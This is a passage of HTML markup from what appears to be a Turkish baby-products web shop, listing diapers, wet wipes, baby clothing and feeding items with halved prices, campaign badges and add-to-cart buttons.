                <a href="urunler.php?category=bez-mendil" style="display:flex; align-items:center; gap:6px; background:#f1f5f9; color:#475569; padding:9px 18px; border-radius:25px; font-weight:700; font-size:0.82rem; text-decoration:none; transition:0.2s; border:1px solid #e2e8f0;" onmouseover="this.style.background='#2E86C1';this.style.color='white';this.style.borderColor='#2E86C1'" onmouseout="this.style.background='#f1f5f9';this.style.color='#475569';this.style.borderColor='#e2e8f0'">
                    Tümünü Gör <i class="fas fa-arrow-right" style="font-size:0.7rem;"></i>
                </a>
            </div>

            <div class="sec-product-scroll">
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=9790" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8001841742472_01.jpg"
                            alt="Bebek Bezi Premium Care 3 Beden Midi Ultra Fırsat Paketi 6-10 kg 96 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Bezi</span>
                        <a href="urun-detay.php?id=9790" class="sec-pcard-title">Bebek Bezi Premium Care 3 Beden Midi Ultra Fırsat Paketi 6-10 kg 96 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">1.100₺</span>
                                                        <span class="sec-pcard-cur">550₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(9790)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=16250" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/b_8682766913347_01.jpg"
                            alt="Midi 3 Numara Bebek Bezi 4-9 kg 50 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Bezi</span>
                        <a href="urun-detay.php?id=16250" class="sec-pcard-title">Midi 3 Numara Bebek Bezi 4-9 kg 50 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">150₺</span>
                                                        <span class="sec-pcard-cur">75₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(16250)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=245" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/ilk-adim-islak-mendil-24x52-ad_8690530031067_01.jpg"
                            alt="İlk Adım Islak Mendil 24x52 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Islak Mendil</span>
                        <a href="urun-detay.php?id=245" class="sec-pcard-title">İlk Adım Islak Mendil 24x52 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">526₺</span>
                                                        <span class="sec-pcard-cur">263₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(245)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=307" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8006540478172_01.jpg"
                            alt="Temiz ve Ferah Bebek Islak Mendil 3x52 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Islak Mendil</span>
                        <a href="urun-detay.php?id=307" class="sec-pcard-title">Temiz ve Ferah Bebek Islak Mendil 3x52 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">300₺</span>
                                                        <span class="sec-pcard-cur">150₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(307)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=1354" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8682766441369_01.jpg"
                            alt="Külot Bez Maxi 4 Numara 9-14 kg 50 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Külot Bez</span>
                        <a href="urun-detay.php?id=1354" class="sec-pcard-title">Külot Bez Maxi 4 Numara 9-14 kg 50 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">200₺</span>
                                                        <span class="sec-pcard-cur">100₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(1354)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=8061" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/xl-6-numara-bebek-bezi-15-25-kg-50-adet_8682766919158_09.jpg"
                            alt="XL 6 Numara Bebek Bezi 15-25 kg 50 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Bezi</span>
                        <a href="urun-detay.php?id=8061" class="sec-pcard-title">XL 6 Numara Bebek Bezi 15-25 kg 50 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">320₺</span>
                                                        <span class="sec-pcard-cur">160₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(8061)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=18377" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/extra-bebek-bezi-2-beden-48-adet_8682241215072_01.jpg"
                            alt="Extra Bebek Bezi 2 Beden 48 Adet" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Bezi</span>
                        <a href="urun-detay.php?id=18377" class="sec-pcard-title">Extra Bebek Bezi 2 Beden 48 Adet</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">200₺</span>
                                                        <span class="sec-pcard-cur">100₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(18377)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=1832" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8682766691702_01.jpg"
                            alt="Kirli Bebek Bezi Çöp Poşeti ve Taşıma Aparatı Pembe" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Bezi</span>
                        <a href="urun-detay.php?id=1832" class="sec-pcard-title">Kirli Bebek Bezi Çöp Poşeti ve Taşıma Aparatı Pembe</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">110₺</span>
                                                        <span class="sec-pcard-cur">55₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(1832)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                            </div>
        </div>
                <div style="margin-bottom:2.5rem;">
            <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:16px; flex-wrap:wrap; gap:10px;">
                <div style="display:flex; align-items:center; gap:12px;">
                                        <div style="width:42px; height:42px; background:rgba(233,30,143,0.1); border-radius:12px; display:flex; align-items:center; justify-content:center;">
                        <i class="fas fa-tshirt" style="color:#E91E8F; font-size:1.1rem;"></i>
                    </div>
                    <div>
                        <h2 style="font-size:1.3rem; font-weight:800; color:#0f172a; margin:0; line-height:1.2;">Bebek Giyim</h2>
                        <p style="font-size:0.82rem; color:#94a3b8; margin:2px 0 0; font-weight:500;">Body, tulum, takım ve mevsimlik kıyafetler</p>
                    </div>
                </div>
                <a href="urunler.php?category=giyim-tekstil" style="display:flex; align-items:center; gap:6px; background:#f1f5f9; color:#475569; padding:9px 18px; border-radius:25px; font-weight:700; font-size:0.82rem; text-decoration:none; transition:0.2s; border:1px solid #e2e8f0;" onmouseover="this.style.background='#E91E8F';this.style.color='white';this.style.borderColor='#E91E8F'" onmouseout="this.style.background='#f1f5f9';this.style.color='#475569';this.style.borderColor='#e2e8f0'">
                    Tümünü Gör <i class="fas fa-arrow-right" style="font-size:0.7rem;"></i>
                </a>
            </div>

            <div class="sec-product-scroll">
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=7382" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8682766813104_01.jpg"
                            alt="Unisex Zıbın Body V Yaka Uzun Kol" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Body &amp; Zıbın</span>
                        <a href="urun-detay.php?id=7382" class="sec-pcard-title">Unisex Zıbın Body V Yaka Uzun Kol</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">120₺</span>
                                                        <span class="sec-pcard-cur">60₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(7382)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=25953" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8682766813104_01.jpg"
                            alt="Unisex Zıbın Body %100 Pamuk Çıtçıtlı V Yaka Uzun Kol Ekru" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Body &amp; Zıbın</span>
                        <a href="urun-detay.php?id=25953" class="sec-pcard-title">Unisex Zıbın Body %100 Pamuk Çıtçıtlı V Yaka Uzun Kol Ekru</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">120₺</span>
                                                        <span class="sec-pcard-cur">60₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(25953)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=9135" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/erkek-uzun-kol-body-erkek-bebek_8682766851595_01.jpg"
                            alt="Erkek Bebek Body Uzun Kol Mavi" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Body &amp; Zıbın</span>
                        <a href="urun-detay.php?id=9135" class="sec-pcard-title">Erkek Bebek Body Uzun Kol Mavi</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">90₺</span>
                                                        <span class="sec-pcard-cur">45₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(9135)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=12854" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/unisex-battaniye-unisex_8682766780314_01.jpg"
                            alt="Battaniye Wellsoft Mavi" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Ev Tekstili</span>
                        <a href="urun-detay.php?id=12854" class="sec-pcard-title">Battaniye Wellsoft Mavi</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">180₺</span>
                                                        <span class="sec-pcard-cur">90₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(12854)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=17716" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/yenidogan-kiz-figurlu-patiksiz-tulum-kiz-bebek_8682766787214_01.jpg"
                            alt="Yenidoğan Figürlü Patiksiz Tulum Kız Bebek" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Yenidoğan Giyim</span>
                        <a href="urun-detay.php?id=17716" class="sec-pcard-title">Yenidoğan Figürlü Patiksiz Tulum Kız Bebek</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">460₺</span>
                                                        <span class="sec-pcard-cur">230₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(17716)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=11286" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/pijama-takimi-erkek-bebek_8682767031132_01.jpg"
                            alt="Erkek Bebek Pijama Takımı Hayvan Baskılı Çıtçıtlı Bisiklet Yaka Uzun Kol Ribanalı" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Body &amp; Zıbın</span>
                        <a href="urun-detay.php?id=11286" class="sec-pcard-title">Erkek Bebek Pijama Takımı Hayvan Baskılı Çıtçıtlı Bisiklet Yaka Uzun Kol Ribanalı</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">400₺</span>
                                                        <span class="sec-pcard-cur">200₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(11286)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=6581" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/a_8682766751772_01.jpg"
                            alt="Erkek Bebek Basic Kapüşonlu Mont Fermuarlı Hakim Yaka Uzun Kol Yeşil" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Dış Giyim &amp; Mont</span>
                        <a href="urun-detay.php?id=6581" class="sec-pcard-title">Erkek Bebek Basic Kapüşonlu Mont Fermuarlı Hakim Yaka Uzun Kol Yeşil</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">600₺</span>
                                                        <span class="sec-pcard-cur">300₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(6581)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=9733" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/kapusonlu-mont-erkek-bebek_8682766751727_01.jpg"
                            alt="Erkek Bebek Basic Kapüşonlu Mont Fermuarlı Hakim Yaka Uzun Kol Sarı" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Dış Giyim &amp; Mont</span>
                        <a href="urun-detay.php?id=9733" class="sec-pcard-title">Erkek Bebek Basic Kapüşonlu Mont Fermuarlı Hakim Yaka Uzun Kol Sarı</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">600₺</span>
                                                        <span class="sec-pcard-cur">300₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(9733)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                            </div>
        </div>
                <div style="margin-bottom:2.5rem;">
            <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:16px; flex-wrap:wrap; gap:10px;">
                <div style="display:flex; align-items:center; gap:12px;">
                                        <div style="width:42px; height:42px; background:rgba(245,158,11,0.1); border-radius:12px; display:flex; align-items:center; justify-content:center;">
                        <i class="fas fa-utensils" style="color:#F59E0B; font-size:1.1rem;"></i>
                    </div>
                    <div>
                        <h2 style="font-size:1.3rem; font-weight:800; color:#0f172a; margin:0; line-height:1.2;">Beslenme & Biberon</h2>
                        <p style="font-size:0.82rem; color:#94a3b8; margin:2px 0 0; font-weight:500;">Biberon, emzik, mama ve beslenme gereçleri</p>
                    </div>
                </div>
                <a href="urunler.php?category=beslenme" style="display:flex; align-items:center; gap:6px; background:#f1f5f9; color:#475569; padding:9px 18px; border-radius:25px; font-weight:700; font-size:0.82rem; text-decoration:none; transition:0.2s; border:1px solid #e2e8f0;" onmouseover="this.style.background='#F59E0B';this.style.color='white';this.style.borderColor='#F59E0B'" onmouseout="this.style.background='#f1f5f9';this.style.color='#475569';this.style.borderColor='#e2e8f0'">
                    Tümünü Gör <i class="fas fa-arrow-right" style="font-size:0.7rem;"></i>
                </a>
            </div>

            <div class="sec-product-scroll">
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=948" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/wee-baby-akitmaz-bardak-yedek-uc-silikon_8690797108915_01.jpg"
                            alt="Akıtmaz Bardak Yedek Uç" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Beslenme Gereçleri</span>
                        <a href="urun-detay.php?id=948" class="sec-pcard-title">Akıtmaz Bardak Yedek Uç</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">180₺</span>
                                                        <span class="sec-pcard-cur">90₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(948)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=5676" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/d_4062300436121_01.jpg"
                            alt="2 Organik Combiotic Devam Sütü 350 gr 6-12 Ay" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Maması</span>
                        <a href="urun-detay.php?id=5676" class="sec-pcard-title">2 Organik Combiotic Devam Sütü 350 gr 6-12 Ay</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">520₺</span>
                                                        <span class="sec-pcard-cur">260₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(5676)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=13232" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/c/sma-0012001_8445290937988_4.jpg"
                            alt="OPTIPRO PROBIYOTIK 1200 Gr." loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Beslenme</span>
                        <a href="urun-detay.php?id=13232" class="sec-pcard-title">OPTIPRO PROBIYOTIK 1200 Gr.</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">1.099₺</span>
                                                        <span class="sec-pcard-cur">550₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(13232)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=15437" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/hipp-organik-devam-sutu-600_9062300125440_01.jpg"
                            alt="2 Organik Devam Sütü 600 gr 6+ Ay" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
